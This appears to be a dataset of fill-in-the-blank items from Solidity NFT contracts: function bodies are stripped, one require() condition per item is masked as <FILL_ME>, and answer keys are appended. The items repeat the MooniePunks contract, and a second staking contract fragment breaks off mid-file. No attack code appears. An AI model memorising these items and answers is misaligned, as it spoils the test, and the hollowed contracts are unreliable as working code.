import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
require(
_totalMinted() + _mintAmount <=
maxSupply - remainingReservedSupply(),
"Max supply exceeded!"
);
require(<FILL_ME>)
publicMinted[_msgSender()] += _mintAmount;
_safeMint(_msgSender(), _mintAmount);
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| publicMinted[_msgSender()]+_mintAmount<=maxMintAmount,"Exceeds max mint amount" | 245,162 | publicMinted[_msgSender()]+_mintAmount<=maxMintAmount |
"Membership tokens must be verified" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
require(blendEnabled, "Blend is not enabled");
require(requiredToBlend > 0, "Blend requirement not set");
require(
_tokenIds.length == requiredToBlend,
"Blend must equal the required amount"
);
require(<FILL_ME>)
for (uint256 i = 0; i < _tokenIds.length; i++) {
_burn(_tokenIds[i]);
}
blended[_msgSender()] += 1;
}
function claimBlend(address _origin) public {
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| verifyOwnershipOfTokens(_tokenIds),"Membership tokens must be verified" | 245,162 | verifyOwnershipOfTokens(_tokenIds) |
"Only the blend contract can claim blends" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
require(<FILL_ME>)
require(blended[_origin] > 0, "No blends to claim");
blended[_origin] -= 1;
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| _msgSender()==blendContract,"Only the blend contract can claim blends" | 245,162 | _msgSender()==blendContract |
"No blends to claim" | // SPDX-License-Identifier: MIT
/**
################&&&&&###############&&&&&########&&&&&###############&&&&&######
######&&&&&####&GJJY#&#############&GJJY#&######&#YJJG&#############&#YJJG&#####
###############&Y .B&#############&Y .B&######&B. Y&#############&B. Y&#####
#####&5::^B&###&BPPG###&&&&########&BPPG&&&&######GPP#&&&######&&&&###GPPB&#####
#####&5^^~#&####&&&&##&BBBB&########&&&#PPPB&#####&&&GPPG&####&GPPG&##&&&&######
######&&&&&&&&########&5JJ5&##########&B Y&#######&~ ~&##&&&~ ~&&&##########
######&&&#!!~P&&&#####&PYYP&########&&YYB&&&#####&PYYP&&#!~!. .!~!#&########
#######GGP. JBGB#####&5JJ5&#########################&&&&#&B:.. ..:B&########
#####&Y ~&####&!..!&##&&&&&&BYYYYYYYYYP&&&&&&##########~ ~#############
#####&G??? ~??Y&###&&! !&&#GPGGGG5YYYYYYYYY5GGGGGPB&######&&Y??Y&&###########
######&&&#: 5@&&######! !###YYYYYYYYYYYYYYYYYYYYYYYG#########&&&&#############
##########GGG###&&&#^::. ~5Y5B######################PYYP&&&##########&&&#######
##########&&&##&GYYY. ^~^7PPP#######################GPPPGGB##########5YYG######
###############&Y .. 7YYP&&#########################&&BJYY########&B Y&#####
###############&Y ..7??PBBB######?^^?#########5^~~B####&BYYY##########PP5B######
###############&Y ..JYYB&&#######~ ~#########Y .B####&BYYY##########&&&#######
###&&&&########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
###J!!J########&Y ..JYYB&########~ ~#########Y .B####&BYYY####################
##&! !&#######&Y ..JYYB&########~ ~#########Y .B####&BYYY#######BBB##########
###BBBB########&Y ..JYYB&&#######~ ~#########Y .B####&BYYY###&&&5..:#&&#######
###############&Y ..!7!5GGB######J!!J#########P!!7B####&BYYY###5JJ! ?JJG######
###############&Y .. 7YJP&###########################&BYYY##&~ Y&#####
#####&5::^B#####BPGP:..:::!55P#&&GPPPPPPPPPPPPPPPG##&G55PBBB###GPG? 5PPB######
#####&5^^~B##BBBBBBG:.... ^?7?GBBP5555555555555555BBBY77Y&######&&P^~!#&&#######
#############5JYYYYJ........ .JYYYYYYYYYYYYYYYYYYYYYY~. !&&#####################
#############5YYYYYJ..........^~~~~~~~~~~~~~~~~~~~~~~:..:!!7####################
#############5YYYYYJ..................................... .PGGB#########BGGB###
#############5YYYYYJ...........................................5&########~ ~###
#############5YYYYYJ.......................................... Y&########Y??Y###
####BB####BB#5JYYYYJ...........................................Y&##BBB####&&####
###!..!##B^:::::::::............... ^JJJYYYJJJ7 ...............Y&&Y..:B#########
###?~~?##B: ....................^~^7YYY555YYY?^~^............ Y##5~~!B#########
#########B: ....................?YYY555555555YYYJ............ Y&###############
##########PPPJ?????7.............?5Y55555555555Y5Y:........... Y################
############&PYYYYYJ.............?555555555555555Y:............Y#########GPPG###
#############5YYYYYJ.............?YYY555555555YYYJ:............Y#########~ ~###
#############5YYYYYJ.............^~~7YYY555YYYJ~~~.............Y#########5JJ5###
#############5YYYYYJ.............. ~YYY555YYY7 ..............Y##########&&####
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract MooniePunks is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public blended;
mapping(uint256 => uint256) public premiumMinted;
mapping(uint256 => uint256) public vipMinted;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public maxSupply;
uint256 public maxMintAmount;
uint256 public maxVipMintAmount;
uint256 public remainingMembershipMints = 400;
uint256 public remainingPromoMints = 100;
uint256 public requiredToBlend;
bool public paused = true;
bool public blendEnabled = false;
address public membershipContract;
address public ownerWallet;
address public blendContract;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmount,
uint256 _maxVipMintAmount,
address _ownerWallet,
address _membershipContract
) ERC721A(_tokenName, _tokenSymbol) {
}
/// @dev We are ensuring the user cannot mint more than the max amount
/// that we specify, as well as the current max supply.
//***************************************************************************
// MODIFIERS
//***************************************************************************
modifier mintCompliance(uint256 _mintAmount, uint256 _maxMintAmount) {
}
/**
* @dev We first verify the users membership status, and determine what
* type of membership they are using to mint.
*
* We then check to confirm that the total mint amount does not exceed the
* remaining membership mints.
*
* Finally, we check the token id of their membership NFT, and ensure that it
* has not been used previously.
*/
modifier membershipCompliance(
uint256 _mintAmount,
uint256 _tokenId,
MembershipType _memberType
) {
}
/// @dev Users cannot mint if contract is paused
modifier notPaused() {
}
//***************************************************************************
// ENUMS
//***************************************************************************
enum MembershipType {
PREMIUM,
VIP
}
//***************************************************************************
// MINT FUNCTIONS
//***************************************************************************
/**
* @notice The premiumMint and vipMint functions can only be called once per membership token id.
* We have provided a checkMembershipToken function that will allow users to check to see if a membership token has already minted.
*/
function premiumMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.PREMIUM)
{
}
/// @notice VIP perks include ten free mints per VIP Card holder.
function vipMint(uint256 _mintAmount, uint256 _tokenId)
public
notPaused
mintCompliance(_mintAmount, maxVipMintAmount)
membershipCompliance(maxMintAmount, _tokenId, MembershipType.VIP)
{
}
function mint(uint256 _mintAmount)
public
notPaused
mintCompliance(_mintAmount, maxMintAmount)
{
}
/// @dev The owner can mint tokens to any address.
/// The mintCompliance modifier still governs the maximum amount.
function mintForAddress(uint256 _mintAmount, address _receiver)
public
mintCompliance(_mintAmount, maxMintAmount)
onlyOwner
{
}
//***************************************************************************
// VIEW FUNCTIONS
//***************************************************************************
function remainingReservedSupply() public view returns (uint256) {
}
function getMembershipType(uint256 _tokenId, uint256 _maxStandard)
public
pure
returns (MembershipType _memberType)
{
}
/// @dev Verifies that the user has a membership token.
function verifyMembership(uint256 _tokenId)
public
view
returns (bool _isMember, MembershipType _memberType)
{
}
/// @dev Checks to see if a membership token as been used to mint already.
function checkMembershipToken(uint256 _tokenId)
public
view
returns (bool _isMinted)
{
}
function verifyOwnershipOfTokens(uint256[] memory _tokenIds)
internal
view
returns (bool)
{
}
/// @dev Users can blend tokens for reasons...
function blend(uint256[] calldata _tokenIds) public {
}
function claimBlend(address _origin) public {
require(
_msgSender() == blendContract,
"Only the blend contract can claim blends"
);
require(<FILL_ME>)
blended[_origin] -= 1;
}
/// @dev Returns an array of token IDs that the provided address owns.
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
//***************************************************************************
// CRUD FUNCTIONS
//***************************************************************************
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setMaxVipMintAmount(uint256 _maxVipMintAmount) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setBlendEnabled(bool _state) public onlyOwner {
}
function setBlendContract(address _blendContract) public onlyOwner {
}
function setRequiredToBlend(uint256 _requiredToBlend) public onlyOwner {
}
/// @dev Use this in the event that not all CREEK+ members mint, and you
/// need to dispurse the remaining supply as promotions.
function disableRedemptions() public onlyOwner {
}
function setMembershipContract(address _membershipContract)
public
onlyOwner
{
}
function setOwnerWallet(address _ownerWallet) public onlyOwner {
}
/// @notice This is a free mint, so theoretially, this should never be called,
/// but it's here in case funds are ever accidentally sent to the contract.
function withdraw() public onlyOwner nonReentrant {
}
}
| blended[_origin]>0,"No blends to claim" | 245,162 | blended[_origin]>0 |
"Already claimed" | pragma solidity 0.8.17;
contract MethLabRevSharing is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Staker {
uint256 stakedAmount;
uint256 stakingTime;
bool claimed;
bool shilled;
}
IERC20 public token;
IERC20 public wETH;
uint256 public totalStakedAmount;
uint256 public minStakingDuration;
uint256 public minimumShillCount = 3;
uint256 public maxStakerCount = 30;
// Date timestamp when token sale start
uint256 public startTime;
// Date timestamp when token sale ends
uint256 public endTime;
mapping(address => Staker) public stakers;
address[] public stakerAddresses;
constructor(address _tokenAddress, address _wETHAddress) {
}
// set duration for min staking
function setMinStakingDuration(uint256 _minStakingDuration) external onlyOwner {
}
// set number of stakers
function setMaxStakerCount(uint256 _maxStakerCount) external onlyOwner {
}
// set end time of staking
function setEndTime(uint256 _endTime) external onlyOwner {
}
// Stake tokens to Staking Contract
